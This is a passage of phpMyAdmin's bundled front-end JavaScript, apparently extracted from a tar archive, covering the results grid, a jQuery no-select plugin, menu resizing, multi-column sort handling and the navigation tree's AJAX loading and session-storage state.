wrap all truncated data cells with span indicating the original length // todo update the original length after a grid edit $(t).find('td.data.truncated:not(:has(span))').wrapInner(function () { return ''; }); // wrap remaining cells, except actions cell, with span $(t).find('th, td:not(:has(span))').wrapInner(''); // create grid elements g.gDiv = document.createElement('div'); // create global div // initialize the table variable g.t = t; // enclosing .sqlqueryresults div g.o = $(t).parents('.sqlqueryresults'); // get data columns in the first row of the table var $firstRowCols = $(t).find('tr').first().find('th.draggable'); // initialize visible headers count g.visibleHeadersCount = $firstRowCols.filter(':visible').length; // assign first column (actions) span if (!$(t).find('tr').first().find('th').first().hasClass('draggable')) { // action header exist g.actionSpan = $(t).find('tr').first().find('th').first().prop('colspan'); } else { g.actionSpan = 0; } // assign table create time // table_create_time will only available if we are in "Browse" tab g.tableCreateTime = $(g.o).find('.table_create_time').val(); // assign the hints g.sortHint = Messages.strSortHint; g.strMultiSortHint = Messages.strMultiSortHint; g.markHint = Messages.strColMarkHint; g.copyHint = Messages.strColNameCopyHint; // assign common hidden inputs var $commonHiddenInputs = $(g.o).find('div.common_hidden_inputs'); g.server = $commonHiddenInputs.find('input[name=server]').val(); g.db = $commonHiddenInputs.find('input[name=db]').val(); g.table = $commonHiddenInputs.find('input[name=table]').val(); // add table class $(t).addClass('pma_table'); // add relative position to global div so that resize handlers are correctly positioned $(g.gDiv).css('position', 'relative'); // link the global div $(t).before(g.gDiv); $(g.gDiv).append(t); // FEATURES if (isResizeEnabled) { g.initColResize(); } // disable reordering for result from EXPLAIN or SHOW syntax, which do not have a table navigation panel if (isReorderEnabled && $(g.o).find('table.navigation').length > 0) { g.initColReorder(); } if (isVisibEnabled) { g.initColVisib(); } // make sure we have the ajax class if (isGridEditEnabled && $(t).is('.ajax')) { g.initGridEdit(); } // create tooltip for each with draggable class Functions.tooltip($(t).find('th.draggable'), 'th', g.updateHint()); // register events for hint tooltip (anchors inside draggable th) $(t).find('th.draggable a').on('mouseenter', function () { g.showSortHint = true; g.showMultiSortHint = true; $(t).find('th.draggable').uiTooltip('option', { content: g.updateHint() }); }).on('mouseleave', function () { g.showSortHint = false; g.showMultiSortHint = false; $(t).find('th.draggable').uiTooltip('option', { content: g.updateHint() }); }); // register events for dragging-related feature if (isResizeEnabled || isReorderEnabled) { $(document).on('mousemove', function (e) { g.dragMove(e); }); $(document).on('mouseup', function (e) { $(g.o).removeClass('turnOffSelect'); g.dragEnd(e); }); } // some adjustment $(t).removeClass('data'); $(g.gDiv).addClass('data'); }; /** * jQuery plugin to cancel selection in HTML code. */ (function ($) { $.fn.noSelect = function (p) { // no select plugin by Paulo P.Marinas var prevent = p === null ? true : p; /* eslint-disable compat/compat */ var isMsie = navigator.userAgent.indexOf('MSIE') > -1 || !!window.navigator.userAgent.match(/Trident.*rv:11\./); var isFirefox = navigator.userAgent.indexOf('Firefox') > -1; var isSafari = navigator.userAgent.indexOf('Safari') > -1; var isOpera = navigator.userAgent.indexOf('Presto') > -1; /* eslint-enable compat/compat */ if (prevent) { return this.each(function () { if (isMsie || isSafari) { $(this).on('selectstart', false); } else if (isFirefox) { $(this).css('MozUserSelect', 'none'); $('body').trigger('focus'); } else if (isOpera) { $(this).on('mousedown', false); } else { $(this).attr('unselectable', 'on'); } }); } else { return this.each(function () { if (isMsie || isSafari) { $(this).off('selectstart'); } else if (isFirefox) { $(this).css('MozUserSelect', 'inherit'); } else if (isOpera) { $(this).off('mousedown'); } else { $(this).removeAttr('unselectable'); } }); } }; // end noSelect })(jQuery);dist/menu_resizer.js000066600000013141151724472050010567 0ustar00/** * Handles the resizing of a menu according to the available screen width * * Uses themes/original/css/resizable-menu.css.php * * To initialize: * $('#myMenu').menuResizer(function () { * // This function will be called to find out how much * // available horizontal space there is for the menu * return $('body').width() - 5; // Some extra margin for good measure * }); * * To trigger a resize operation: * $('#myMenu').menuResizer('resize'); // Bind this to $(window).resize() * * To restore the menu to a state like before it was initialized: * $('#myMenu').menuResizer('destroy'); * * @package PhpMyAdmin */ (function ($) { function MenuResizer($container, widthCalculator) { var self = this; self.$container = $container; self.widthCalculator = widthCalculator; var windowWidth = $(window).width(); if (windowWidth < 768) { $('#pma_navigation_resizer').css({ 'width': '0px' }); } // create submenu container var link = $('', { 'href': '#', 'class': 'nav-link dropdown-toggle', 'id': 'navbarDropdown', 'role': 'button', 'data-bs-toggle': 'dropdown', 'aria-haspopup': 'true', 'aria-expanded': 'false' }).text(Messages.strMore); var img = $container.find('li img'); if (img.length) { $(Functions.getImage('b_more').toString()).prependTo(link); } var $submenu = $('
  • ', { 'class': 'nav-item dropdown d-none' }).append(link).append($('
      ', { 'class': 'dropdown-menu dropdown-menu-end', 'aria-labelledby': 'navbarDropdown' })); $container.append($submenu); setTimeout(function () { self.resize(); }, 4); } MenuResizer.prototype.resize = function () { var wmax = this.widthCalculator.call(this.$container); var windowWidth = $(window).width(); var $submenu = this.$container.find('.nav-item.dropdown').last(); var submenuW = $submenu.outerWidth(true); var $submenuUl = $submenu.find('.dropdown-menu'); var $li = this.$container.find('> li'); var $li2 = $submenuUl.find('.dropdown-item'); var moreShown = $li2.length > 0; // Calculate the total width used by all the shown tabs var totalLen = moreShown ? submenuW : 0; var l = $li.length - 1; var i; for (i = 0; i < l; i++) { totalLen += $($li[i]).outerWidth(true); } // eslint-disable-next-line compat/compat var hasVScroll = document.body.scrollHeight > document.body.clientHeight; if (hasVScroll) { windowWidth += 15; } if (windowWidth < 768) { wmax = 2000; } // Now hide menu elements that don't fit into the menubar var hidden = false; // Whether we have hidden any tabs while (totalLen >= wmax && --l >= 0) { // Process the tabs backwards hidden = true; var el = $($li[l]); el.removeClass('nav-item').addClass('dropdown-item'); var elWidth = el.outerWidth(true); el.data('width', elWidth); if (!moreShown) { totalLen -= elWidth; el.prependTo($submenuUl); totalLen += submenuW; moreShown = true; } else { totalLen -= elWidth; el.prependTo($submenuUl); } } // If we didn't hide any tabs, then there might be some space to show some if (!hidden) { // Show menu elements that do fit into the menubar for (i = 0, l = $li2.length; i < l; i++) { totalLen += $($li2[i]).data('width'); // item fits or (it is the last item // and it would fit if More got removed) if (totalLen < wmax || i === $li2.length - 1 && totalLen - submenuW < wmax) { $($li2[i]).removeClass('dropdown-item').addClass('nav-item'); $($li2[i]).insertBefore($submenu); } else { break; } } } // Show/hide the "More" tab as needed if (windowWidth < 768) { $('.navbar-collapse').css({ 'width': windowWidth - 80 - $('#pma_navigation').width() }); $submenu.addClass('d-none'); $('.navbar-collapse').css({ 'overflow': 'hidden' }); } else { $('.navbar-collapse').css({ 'width': 'auto' }); $('.navbar-collapse').css({ 'overflow': 'visible' }); if ($submenuUl.find('li').length > 0) { $submenu.removeClass('d-none'); } else { $submenu.addClass('d-none'); } } }; MenuResizer.prototype.destroy = function () { var $submenu = this.$container.find('.nav-item.dropdown').removeData(); $submenu.find('li').appendTo(this.$container); $submenu.remove(); }; /** Public API */ var methods = { init: function (widthCalculator) { return this.each(function () { var $this = $(this); if (!$this.data('menuResizer')) { $this.data('menuResizer', new MenuResizer($this, widthCalculator)); } }); }, resize: function () { return this.each(function () { var self = $(this).data('menuResizer'); if (self) { self.resize(); } }); }, destroy: function () { return this.each(function () { var self = $(this).data('menuResizer'); if (self) { self.destroy(); } }); } }; /** * Extend jQuery * * @param {string} method * * @return {any} */ $.fn.menuResizer = function (method) { if (methods[method]) { return methods[method].call(this); } else if (typeof method === 'function') { return methods.init.apply(this, [method]); } else { $.error('Method ' + method + ' does not exist on jQuery.menuResizer'); } }; })(jQuery);dist/multi_column_sort.js000066600000002401151724472050011633 0ustar00/** * @fileoverview Implements the shiftkey + click remove column * from order by clause functionality * @name columndelete * * @requires jQuery */ AJAX.registerOnload('keyhandler.js', function () { $('th.draggable.column_heading.pointer.marker a').on('click', function (event) { var orderUrlRemove = $(this).parent().find('input[name="url-remove-order"]').val(); var orderUrlAdd = $(this).parent().find('input[name="url-add-order"]').val(); var argsep = CommonParams.get('arg_separator'); if (event.ctrlKey || event.altKey) { event.preventDefault(); AJAX.source = $(this); Functions.ajaxShowMessage(); orderUrlRemove += argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; $.post('index.php?route=/sql', orderUrlRemove, AJAX.responseHandler); } else if (event.shiftKey) { event.preventDefault(); AJAX.source = $(this); Functions.ajaxShowMessage(); orderUrlAdd += argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; $.post('index.php?route=/sql', orderUrlAdd, AJAX.responseHandler); } }); }); AJAX.registerTeardown('keyhandler.js', function () { $(document).off('click', 'th.draggable.column_heading.pointer.marker a'); });dist/name-conflict-fixes.js000066600000000053151724472050011711 0ustar00$.widget.bridge('uiTooltip', $.ui.tooltip);dist/navigation.js000066600000145166151724472050010234 0ustar00/** * function used in or for navigation panel * * @package phpMyAdmin-Navigation */ /* global isStorageSupported, setupRestoreField, setupValidation */ // js/config.js var Navigation = {}; /** * updates the tree state in sessionStorage * * @return {void} */ Navigation.treeStateUpdate = function () { // update if session storage is supported if (isStorageSupported('sessionStorage')) { var storage = window.sessionStorage; // try catch necessary here to detect whether // content to be stored exceeds storage capacity try { storage.setItem('navTreePaths', JSON.stringify(Navigation.traverseForPaths())); storage.setItem('server', CommonParams.get('server')); storage.setItem('token', CommonParams.get('token')); } catch (error) { // storage capacity exceeded & old navigation tree // state is no more valid, so remove it storage.removeItem('navTreePaths'); storage.removeItem('server'); storage.removeItem('token'); } } }; /** * updates the filter state in sessionStorage * * @param {string} filterName * @param {string} filterValue * * @return {void} */ Navigation.filterStateUpdate = function (filterName, filterValue) { if (isStorageSupported('sessionStorage')) { var storage = window.sessionStorage; try { var currentFilter = $.extend({}, JSON.parse(storage.getItem('navTreeSearchFilters'))); var filter = {}; filter[filterName] = filterValue; currentFilter = $.extend(currentFilter, filter); storage.setItem('navTreeSearchFilters', JSON.stringify(currentFilter)); } catch (error) { storage.removeItem('navTreeSearchFilters'); } } }; /** * restores the filter state on navigation reload * * @return {void} */ Navigation.filterStateRestore = function () { if (isStorageSupported('sessionStorage') && typeof window.sessionStorage.navTreeSearchFilters !== 'undefined') { var searchClauses = JSON.parse(window.sessionStorage.navTreeSearchFilters); if (Object.keys(searchClauses).length < 1) { return; } // restore database filter if present and not empty if (searchClauses.hasOwnProperty('dbFilter') && searchClauses.dbFilter.length) { var $obj = $('#pma_navigation_tree'); if (!$obj.data('fastFilter')) { $obj.data('fastFilter', new Navigation.FastFilter.Filter($obj, '')); } $obj.find('li.fast_filter.db_fast_filter input.searchClause').val(searchClauses.dbFilter).trigger('keyup'); } // find all table filters present in the tree var $tableFilters = $('#pma_navigation_tree li.database').children('div.list_container').find('li.fast_filter input.searchClause'); // restore table filters $tableFilters.each(function () { $obj = $(this).closest('div.list_container'); // aPath associated with this filter var filterName = $(this).siblings('input[name=aPath]').val(); // if this table's filter has a state stored in storage if (searchClauses.hasOwnProperty(filterName) && searchClauses[filterName].length) { // clear state if item is not visible, // happens when table filter becomes invisible // as db filter has already been applied if (!$obj.is(':visible')) { Navigation.filterStateUpdate(filterName, ''); return true; } if (!$obj.data('fastFilter')) { $obj.data('fastFilter', new Navigation.FastFilter.Filter($obj, '')); } $(this).val(searchClauses[filterName]).trigger('keyup'); } }); } }; /** * Loads child items of a node and executes a given callback * * @param isNode * @param $expandElem expander * @param callback callback function * * @return {void} */ Navigation.loadChildNodes = function (isNode, $expandElem, callback) { var $destination = null; var params = null; if (isNode) { if (!$expandElem.hasClass('expander')) { return; } $destination = $expandElem.closest('li'); var pos2Name = $expandElem.find('span.pos2_nav'); var pathsNav = $expandElem.find('span.paths_nav'); params = { 'server': CommonParams.get('server'), 'aPath': pathsNav.attr('data-apath'), 'vPath': pathsNav.attr('data-vpath'), 'pos': pathsNav.attr('data-pos'), 'pos2_name': pos2Name.attr('data-name'), 'pos2_value': pos2Name.attr('data-value'), 'searchClause': '', 'searchClause2': '' }; if ($expandElem.closest('ul').hasClass('search_results')) { params.searchClause = Navigation.FastFilter.getSearchClause(); params.searchClause2 = Navigation.FastFilter.getSearchClause2($expandElem); } } else { $destination = $('#pma_navigation_tree_content'); params = { 'server': CommonParams.get('server'), 'aPath': $expandElem.attr('data-apath'), 'vPath': $expandElem.attr('data-vpath'), 'pos': $expandElem.attr('data-pos'), 'pos2_name': '', 'pos2_value': '', 'searchClause': '', 'searchClause2': '' }; } $.post('index.php?route=/navigation&ajax_request=1', params, function (data) { if (typeof data !== 'undefined' && data.success === true) { $destination.find('div.list_container').remove(); // FIXME: Hack, there shouldn't be a list container there if (isNode) { $destination.append(data.message); $expandElem.addClass('loaded'); } else { $destination.html(data.message); $destination.children().first().css({ border: '0px', margin: '0em', padding: '0em' }).slideDown('slow'); } if (data.errors) { var $errors = $(data.errors); if ($errors.children().length > 0) { $('#pma_errors').replaceWith(data.errors); } } if (callback && typeof callback === 'function') { callback(data); } } else if (typeof data !== 'undefined' && data.redirect_flag === '1') { if (window.location.href.indexOf('?') === -1) { window.location.href += '?session_expired=1'; } else { window.location.href += CommonParams.get('arg_separator') + 'session_expired=1'; } window.location.reload(); } else { var $throbber = $expandElem.find('img.throbber'); $throbber.hide(); var $icon = $expandElem.find('img.ic_b_plus'); $icon.show(); Functions.ajaxShowMessage(data.error, false); } }); }; /** * Collapses a node in navigation tree. * * @param $expandElem expander * * @return {void} */ Navigation.collapseTreeNode = function ($expandElem) { var $children = $expandElem.closest('li').children('div.list_container'); var $icon = $expandElem.find('img'); if ($expandElem.hasClass('loaded')) { if ($icon.is('.ic_b_minus')) { $icon.removeClass('ic_b_minus').addClass('ic_b_plus'); $children.slideUp('fast'); } } $expandElem.trigger('blur'); $children.promise().done(Navigation.treeStateUpdate); }; /** * Traverse the navigation tree backwards to generate all the actual * and virtual paths, as well as the positions in the pagination at * various levels, if necessary. * * @return {object} */ Navigation.traverseForPaths = function () { var params = { pos: $('#pma_navigation_tree').find('div.dbselector select').val() }; if ($('#navi_db_select').length) { return params; } var count = 0; $('#pma_navigation_tree').find('a.expander:visible').each(function () { if ($(this).find('img').is('.ic_b_minus') && $(this).closest('li').find('div.list_container .ic_b_minus').length === 0) { var pathsNav = $(this).find('span.paths_nav'); params['n' + count + '_aPath'] = pathsNav.attr('data-apath'); params['n' + count + '_vPath'] = pathsNav.attr('data-vpath'); var pos2Nav = $(this).find('span.pos2_nav'); if (pos2Nav.length === 0) { pos2Nav = $(this).parent().parent().find('span.pos2_nav').last(); } params['n' + count + '_pos2_name'] = pos2Nav.attr('data-name'); params['n' + count + '_pos2_value'] = pos2Nav.attr('data-value'); var pos3Nav = $(this).find('span.pos3_nav'); params['n' + count + '_pos3_name'] = pos3Nav.attr('data-name'); params['n' + count + '_pos3_value'] = pos3Nav.attr('data-value'); count++; } }); return params; }; /** * Executed on page load */ $(function () { if (!$('#pma_navigation').length) { // Don't bother running any code if the navigation is not even on the page return; } // Do not let the page reload on submitting the fast filter $(document).on('submit', '.fast_filter', function (event) { event.preventDefault(); }); // Fire up the resize handlers new Navigation.ResizeHandler(); /** * opens/closes (hides/shows) tree elements * loads data via ajax */ $(document).on('click', '#pma_navigation_tree a.expander', function (event) { event.preventDefault(); event.stopImmediatePropagation(); var $icon = $(this).find('img'); if ($icon.is('.ic_b_plus')) { Navigation.expandTreeNode($(this)); } else { Navigation.collapseTreeNode($(this)); } }); /** * Register event handler for click on the reload * navigation icon at the top of the panel */ $(document).on('click', '#pma_navigation_reload', function (event) { event.preventDefault(); // Find the loading symbol and show it var $iconThrobberSrc = $('#pma_navigation').find('.throbber'); $iconThrobberSrc.show(); // TODO Why is a loading symbol both hidden, and invisible? $iconThrobberSrc.css('visibility', ''); // Callback to be used to hide the loading symbol when done reloading function hideNav() { $iconThrobberSrc.hide(); } // Reload the navigation Navigation.reload(hideNav); }); $(document).on('change', '#navi_db_select', function () { if (!$(this).val()) { CommonParams.set('db', ''); Navigation.reload(); } $(this).closest('form').trigger('submit'); }); /** * Register event handler for click on the collapse all * navigation icon at the top of the navigation tree */ $(document).on('click', '#pma_navigation_collapse', function (event) { event.preventDefault(); $('#pma_navigation_tree').find('a.expander').each(function () { var $icon = $(this).find('img'); if ($icon.is('.ic_b_minus')) { $(this).trigger('click'); } }); }); /** * Register event handler to toggle * the 'link with main panel' icon on mouseenter. */ $(document).on('mouseenter', '#pma_navigation_sync', function (event) { event.preventDefault(); var synced = $('#pma_navigation_tree').hasClass('synced'); var $img = $('#pma_navigation_sync').children('img'); if (synced) { $img.removeClass('ic_s_link').addClass('ic_s_unlink'); } else { $img.removeClass('ic_s_unlink').addClass('ic_s_link'); } }); /** * Register event handler to toggle * the 'link with main panel' icon on mouseout. */ $(document).on('mouseout', '#pma_navigation_sync', function (event) { event.preventDefault(); var synced = $('#pma_navigation_tree').hasClass('synced'); var $img = $('#pma_navigation_sync').children('img'); if (synced) { $img.removeClass('ic_s_unlink').addClass('ic_s_link'); } else { $img.removeClass('ic_s_link').addClass('ic_s_unlink'); } }); /** * Register event handler to toggle * the linking with main panel behavior */ $(document).on('click', '#pma_navigation_sync', function (event) { event.preventDefault(); var synced = $('#pma_navigation_tree').hasClass('synced'); var $img = $('#pma_navigation_sync').children('img'); if (synced) { $img.removeClass('ic_s_unlink').addClass('ic_s_link').attr('alt', Messages.linkWithMain).attr('title', Messages.linkWithMain); $('#pma_navigation_tree').removeClass('synced').find('li.selected').removeClass('selected'); } else { $img.removeClass('ic_s_link').addClass('ic_s_unlink').attr('alt', Messages.unlinkWithMain).attr('title', Messages.unlinkWithMain); $('#pma_navigation_tree').addClass('synced'); Navigation.showCurrent(); } }); /** * Bind all "fast filter" events */ $('#pma_navigation_tree').on('click', 'li.fast_filter button.searchClauseClear', Navigation.FastFilter.events.clear); $('#pma_navigation_tree').on('focus', 'li.fast_filter input.searchClause', Navigation.FastFilter.events.focus); $('#pma_navigation_tree').on('blur', 'li.fast_filter input.searchClause', Navigation.FastFilter.events.blur); $('#pma_navigation_tree').on('keyup', 'li.fast_filter input.searchClause', Navigation.FastFilter.events.keyup); /** * Ajax handler for pagination */ $('#pma_navigation_tree').on('click', 'div.pageselector a.ajax', function (event) { event.preventDefault(); Navigation.treePagination($(this)); }); /** * Node highlighting */ $('#pma_navigation_tree.highlight').on('mouseover', 'li:not(.fast_filter)', function () { if ($('li:visible', this).length === 0) { $(this).addClass('activePointer'); } }); $('#pma_navigation_tree.highlight').on('mouseout', 'li:not(.fast_filter)', function () { $(this).removeClass('activePointer'); }); /** New view */ $(document).on('click', 'li.new_view a.ajax', function (event) { event.preventDefault(); Functions.createViewModal($(this)); }); /** Hide navigation tree item */ $(document).on('click', 'a.hideNavItem.ajax', function (event) { event.preventDefault(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=true' + argSep + 'server=' + CommonParams.get('server'); $.ajax({ type: 'POST', data: params, url: $(this).attr('href'), success: function (data) { if (typeof data !== 'undefined' && data.success === true) { Navigation.reload(); } else { Functions.ajaxShowMessage(data.error); } } }); }); /** Display a dialog to choose hidden navigation items to show */ $(document).on('click', 'a.showUnhide.ajax', function (event) { event.preventDefault(); var $msg = Functions.ajaxShowMessage(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=true'; $.post($(this).attr('href'), params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); $('#unhideNavItemModal').modal('show'); $('#unhideNavItemModal').find('.modal-body').first().html(data.message); } else { Functions.ajaxShowMessage(data.error); } }); }); /** Show a hidden navigation tree item */ $(document).on('click', 'a.unhideNavItem.ajax', function (event) { event.preventDefault(); var $tr = $(this).parents('tr'); var $hiddenTableCount = $tr.parents('tbody').children().length; var $hideDialogBox = $tr.closest('div.ui-dialog'); var $msg = Functions.ajaxShowMessage(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=true' + argSep + 'server=' + CommonParams.get('server'); $.ajax({ type: 'POST', data: params, url: $(this).attr('href'), success: function (data) { Functions.ajaxRemoveMessage($msg); if (typeof data !== 'undefined' && data.success === true) { $tr.remove(); if ($hiddenTableCount === 1) { $hideDialogBox.remove(); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error); } } }); }); // Add/Remove favorite table using Ajax. $(document).on('click', '.favorite_table_anchor', function (event) { event.preventDefault(); var $self = $(this); var anchorId = $self.attr('id'); if ($self.data('favtargetn') !== null) { var $dataFavTargets = $('a[data-favtargets="' + $self.data('favtargetn') + '"]'); if ($dataFavTargets.length > 0) { $dataFavTargets.trigger('click'); return; } } var hasLocalStorage = isStorageSupported('localStorage') && typeof window.localStorage.favoriteTables !== 'undefined'; $.ajax({ url: $self.attr('href'), cache: false, type: 'POST', data: { 'favoriteTables': hasLocalStorage ? window.localStorage.favoriteTables : '', 'server': CommonParams.get('server') }, success: function (data) { if (data.changes) { $('#pma_favorite_list').html(data.list); $('#' + anchorId).parent().html(data.anchor); Functions.tooltip($('#' + anchorId), 'a', $('#' + anchorId).attr('title')); // Update localStorage. if (isStorageSupported('localStorage')) { window.localStorage.favoriteTables = data.favoriteTables; } } else { Functions.ajaxShowMessage(data.message); } } }); }); // Check if session storage is supported if (isStorageSupported('sessionStorage')) { var storage = window.sessionStorage; // remove tree from storage if Navi_panel config form is submitted $(document).on('submit', 'form.config-form', function () { storage.removeItem('navTreePaths'); }); // Initialize if no previous state is defined if ($('#pma_navigation_tree_content').length && typeof storage.navTreePaths === 'undefined') { Navigation.reload(); } else if (CommonParams.get('server') === storage.server && CommonParams.get('token') === storage.token) { // Reload the tree to the state before page refresh Navigation.reload(Navigation.filterStateRestore, JSON.parse(storage.navTreePaths)); } else { // If the user is different Navigation.treeStateUpdate(); Navigation.reload(); } } }); /** * Expands a node in navigation tree. * * @param $expandElem expander * @param callback callback function * * @return {void} */ Navigation.expandTreeNode = function ($expandElem, callback) { var $children = $expandElem.closest('li').children('div.list_container'); var $icon = $expandElem.find('img'); if ($expandElem.hasClass('loaded')) { if ($icon.is('.ic_b_plus')) { $icon.removeClass('ic_b_plus').addClass('ic_b_minus'); $children.slideDown('fast'); } if (callback && typeof callback === 'function') { callback.call(); } $children.promise().done(Navigation.treeStateUpdate); } else { var $throbber = $('#pma_navigation').find('.throbber').first().clone().css({ visibility: 'visible', display: 'block' }).on('click', false); $icon.hide(); $throbber.insertBefore($icon); Navigation.loadChildNodes(true, $expandElem, function (data) { if (typeof data !== 'undefined' && data.success === true) { var $destination = $expandElem.closest('li'); $icon.removeClass('ic_b_plus').addClass('ic_b_minus'); $children = $destination.children('div.list_container'); $children.slideDown('fast'); if ($destination.find('ul > li').length === 1) { $destination.find('ul > li').find('a.expander.container').trigger('click'); } if (callback && typeof callback === 'function') { callback.call(); } Navigation.showFullName($destination); } else { Functions.ajaxShowMessage(data.error, false); } $icon.show(); $throbber.remove(); $children.promise().done(Navigation.treeStateUpdate); }); } $expandElem.trigger('blur'); }; /** * Auto-scrolls the newly chosen database * * @param {object} $element The element to set to view * @param {bool} $forceToTop Whether to force scroll to top * */ Navigation.scrollToView = function ($element, $forceToTop) { Navigation.filterStateRestore(); var $container = $('#pma_navigation_tree_content'); var elemTop = $element.offset().top - $container.offset().top; var textHeight = 20; var scrollPadding = 20; // extra padding from top of bottom when scrolling to view if (elemTop < 0 || $forceToTop) { $container.stop().animate({ scrollTop: elemTop + $container.scrollTop() - scrollPadding }); } else if (elemTop + textHeight > $container.height()) { $container.stop().animate({ scrollTop: elemTop + textHeight - $container.height() + $container.scrollTop() + scrollPadding }); } }; /** * Expand the navigation and highlight the current database or table/view * * @return {void} */ Navigation.showCurrent = function () { var db = CommonParams.get('db'); var table = CommonParams.get('table'); var autoexpand = $('#pma_navigation_tree').hasClass('autoexpand'); $('#pma_navigation_tree').find('li.selected').removeClass('selected'); var $dbItem; if (db) { $dbItem = findLoadedItem($('#pma_navigation_tree').find('> div'), db, 'database', !table); if ($('#navi_db_select').length && $('option:selected', $('#navi_db_select')).length) { if (!Navigation.selectCurrentDatabase()) { return; } // If loaded database in navigation is not same as current one if ($('#pma_navigation_tree_content').find('span.loaded_db').first().text() !== $('#navi_db_select').val()) { Navigation.loadChildNodes(false, $('option:selected', $('#navi_db_select')), function () { handleTableOrDb(table, $('#pma_navigation_tree_content')); var $children = $('#pma_navigation_tree_content').children('div.list_container'); $children.promise().done(Navigation.treeStateUpdate); }); } else { handleTableOrDb(table, $('#pma_navigation_tree_content')); } } else if ($dbItem) { fullExpand(table, $dbItem); } } else if ($('#navi_db_select').length && $('#navi_db_select').val()) { $('#navi_db_select').val('').hide().trigger('change'); } else if (autoexpand && $('#pma_navigation_tree_content > ul > li.database').length === 1) { // automatically expand the list if there is only single database // find the name of the database var dbItemName = ''; $('#pma_navigation_tree_content > ul > li.database').children('a').each(function () { var name = $(this).text(); if (!dbItemName && name.trim()) { // if the name is not empty, it is the desired element dbItemName = name; } }); $dbItem = findLoadedItem($('#pma_navigation_tree').find('> div'), dbItemName, 'database', !table); fullExpand(table, $dbItem); } Navigation.showFullName($('#pma_navigation_tree')); function fullExpand(table, $dbItem) { var $expander = $dbItem.children('div').first().children('a.expander'); // if not loaded or loaded but collapsed if (!$expander.hasClass('loaded') || $expander.find('img').is('.ic_b_plus')) { Navigation.expandTreeNode($expander, function () { handleTableOrDb(table, $dbItem); }); } else { handleTableOrDb(table, $dbItem); } } function handleTableOrDb(table, $dbItem) { if (table) { loadAndHighlightTableOrView($dbItem, table); } else { var $container = $dbItem.children('div.list_container'); var $tableContainer = $container.children('ul').children('li.tableContainer'); if ($tableContainer.length > 0) { var $expander = $tableContainer.children('div').first().children('a.expander'); $tableContainer.addClass('selected'); Navigation.expandTreeNode($expander, function () { Navigation.scrollToView($dbItem, true); }); } else { Navigation.scrollToView($dbItem, true); } } } function findLoadedItem($container, name, clazz, doSelect) { var ret = false; $container.children('ul').children('li').each(function () { var $li = $(this); // this is a navigation group, recurse if ($li.is('.navGroup')) { var $container = $li.children('div.list_container'); var $childRet = findLoadedItem($container, name, clazz, doSelect); if ($childRet) { ret = $childRet; return false; } } else { // this is a real navigation item // name and class matches if ((clazz && $li.is('.' + clazz) || !clazz) && $li.children('a').text() === name) { if (doSelect) { $li.addClass('selected'); } // traverse up and expand and parent navigation groups $li.parents('.navGroup').each(function () { var $cont = $(this).children('div.list_container'); if (!$cont.is(':visible')) { $(this).children('div').first().children('a.expander').trigger('click'); } }); ret = $li; return false; } } }); return ret; } function loadAndHighlightTableOrView($dbItem, itemName) { var $container = $dbItem.children('div.list_container'); var $expander; var $whichItem = isItemInContainer($container, itemName, 'li.nav_node_table, li.view'); // If item already there in some container if ($whichItem) { // get the relevant container while may also be a subcontainer var $relatedContainer = $whichItem.closest('li.subContainer').length ? $whichItem.closest('li.subContainer') : $dbItem; $whichItem = findLoadedItem($relatedContainer.children('div.list_container'), itemName, null, true); // Show directly showTableOrView($whichItem, $relatedContainer.children('div').first().children('a.expander')); // else if item not there, try loading once } else { var $subContainers = $dbItem.find('.subContainer'); // If there are subContainers i.e. tableContainer or viewContainer if ($subContainers.length > 0) { var $containers = []; $subContainers.each(function (index) { $containers[index] = $(this); $expander = $containers[index].children('div').first().children('a.expander'); if (!$expander.hasClass('loaded')) { loadAndShowTableOrView($expander, $containers[index], itemName); } }); // else if no subContainers } else { $expander = $dbItem.children('div').first().children('a.expander'); if (!$expander.hasClass('loaded')) { loadAndShowTableOrView($expander, $dbItem, itemName); } } } } function loadAndShowTableOrView($expander, $relatedContainer, itemName) { Navigation.loadChildNodes(true, $expander, function () { var $whichItem = findLoadedItem($relatedContainer.children('div.list_container'), itemName, null, true); if ($whichItem) { showTableOrView($whichItem, $expander); } }); } function showTableOrView($whichItem, $expander) { Navigation.expandTreeNode($expander, function () { if ($whichItem) { Navigation.scrollToView($whichItem, false); } }); } function isItemInContainer($container, name, clazz) { var $whichItem = null; var $items = $container.find(clazz); $items.each(function () { if ($(this).children('a').text() === name) { $whichItem = $(this); return false; } }); return $whichItem; } }; /** * Disable navigation panel settings * * @return {void} */ Navigation.disableSettings = function () { $('#pma_navigation_settings_icon').addClass('hide'); $('#pma_navigation_settings').remove(); }; /** * Ensure that navigation panel settings is properly setup. * If not, set it up * * @param {string} selflink * * @return {void} */ Navigation.ensureSettings = function (selflink) { $('#pma_navigation_settings_icon').removeClass('hide'); if (!$('#pma_navigation_settings').length) { var params = { getNaviSettings: true, server: CommonParams.get('server') }; $.post('index.php?route=/navigation&ajax_request=1', params, function (data) { if (typeof data !== 'undefined' && data.success) { $('#pma_navi_settings_container').html(data.message); setupRestoreField(); setupValidation(); $('#pma_navigation_settings').find('form').attr('action', selflink); } else { Functions.ajaxShowMessage(data.error); } }); } else { $('#pma_navigation_settings').find('form').attr('action', selflink); } }; /** * Reloads the whole navigation tree while preserving its state * * @param {Function} callback the callback function * @param {object} paths stored navigation paths * * @return {void} */ Navigation.reload = function (callback, paths) { var params = { 'reload': true, 'no_debug': true, 'server': CommonParams.get('server') }; var pathsLocal = paths || Navigation.traverseForPaths(); $.extend(params, pathsLocal); if ($('#navi_db_select').length) { params.db = CommonParams.get('db'); requestNaviReload(params); return; } requestNaviReload(params); function requestNaviReload(params) { $.post('index.php?route=/navigation&ajax_request=1', params, function (data) { if (typeof data !== 'undefined' && data.success) { $('#pma_navigation_tree').html(data.message).children('div').show(); if ($('#pma_navigation_tree').hasClass('synced')) { Navigation.selectCurrentDatabase(); Navigation.showCurrent(); } // Fire the callback, if any if (typeof callback === 'function') { callback.call(); } Navigation.treeStateUpdate(); } else { Functions.ajaxShowMessage(data.error); } }); } }; Navigation.selectCurrentDatabase = function () { var $naviDbSelect = $('#navi_db_select'); if (!$naviDbSelect.length) { return false; } if (CommonParams.get('db')) { // db selected $naviDbSelect.show(); } 